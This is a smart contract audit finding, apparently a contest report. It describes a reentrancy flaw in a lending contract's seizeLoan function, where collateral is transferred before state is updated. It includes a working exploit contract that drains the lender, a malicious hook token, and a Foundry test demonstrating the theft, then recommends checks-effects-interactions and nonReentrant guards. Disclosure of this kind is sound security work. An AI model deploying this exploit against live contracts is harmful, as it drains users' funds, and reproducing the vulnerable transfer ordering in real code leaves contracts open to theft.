Summary
Tokens allowing reentrant calls on transfer can be drained from the contract.
Vulnerability Details
Some tokens allow reentrant calls on transfer (e.g. ERC777
tokens).
Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the seizeLoan
function. When the a loan is put up for auction and the auction finishes, the collateral
can be collected by the lender, the collateralToken
are sent to the lender before updating the state.
File: Lender.Sol
L565: IERC20(loan.collateralToken).transfer(
loan.lender,
loan.collateral - govFee
);
bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
pools[poolId].outstandingLoans -= loan.debt;
emit LoanSiezed(
loan.borrower,
loan.lender,
loanId,
loan.collateral
);
delete loans[loanId];
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L565
An attacker can take a loan in his own pool and seize it, then the hook on token transfer allows him to re-enter the seizeLoan
function to extract another time the collateral amount from the contract.
Impact
POC
An attacker can use the following exploit contract to drain the lender
contract:
File: Exploit6.sol
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit6 {
Lender lender;
address loanToken;
bool auctionEnded;
bytes32 attackerPoolId;
constructor(Lender _lender, address _loanToken) {
lender = _lender;
loanToken = _loanToken;
}
function attackPart1(address _loanToken, address _collateralToken) external {
ERC20(_loanToken).approve(address(lender), type(uint256).max);
ERC20(_collateralToken).approve(address(lender), type(uint256).max);
Pool memory pool = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: _collateralToken,
minLoanSize: 1,
poolBalance: 100,
maxLoanRatio: type(uint256).max,
auctionLength: 5 minutes,
interestRate: 0,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(pool);
attackerPoolId = poolId;
Borrow memory b = Borrow({
poolId: poolId,
debt: 1,
collateral: 1_000*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
b = Borrow({
poolId: poolId,
debt: 99,
collateral: 1
});
borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
}
function attackPart2(address _loanToken, address _collateralToken) external {
auctionEnded = true;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
ERC20(_loanToken).transfer(msg.sender, ERC20(_loanToken).balanceOf(address(this)));
ERC20(_collateralToken).transfer(msg.sender, ERC20(_collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address , uint256 ) external {
require(msg.sender == loanToken, "not loan token");
if (from == address(lender) && auctionEnded) {
uint256 lenderBalance = ERC20(loanToken).balanceOf(address(lender));
if (lenderBalance >= 1_000*10**18) {
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
}
}
}
}
Here are the tests that can be added to Lender.t.sol
to illustrate the steps of an attacker:
function test_exploit() public {
address attacker = address(0x5);
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000_000*10**18);
weirdToken.transfer(address(lender), 10_000*10**18);
weirdToken.transfer(address(attacker), 1_000*10**18 + 1);
loanToken.transfer(address(attacker), 100);
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 10_000*10**18);
assertEq(loanToken.balanceOf(address(attacker)), 100);
assertEq(weirdToken.balanceOf(address(attacker)), 1_000*10**18 + 1);
vm.startPrank(attacker);
Exploit6 attackContract = new Exploit6(lender, address(weirdToken));
weirdToken.transfer(address(attackContract), 1_000*10**18 + 1);
loanToken.transfer(address(attackContract), 100);
attackContract.attackPart1(address(loanToken), address(weirdToken));
vm.warp(block.timestamp + 5 minutes);
attackContract.attackPart2(address(loanToken), address(weirdToken));
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 1);
assertEq(loanToken.balanceOf(address(attacker)), 100);
assertEq(weirdToken.balanceOf(address(attacker)), 10_945*10**18);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by performing the token transfers at the end of the seizeLoan
function AND use nonReentrant modifiers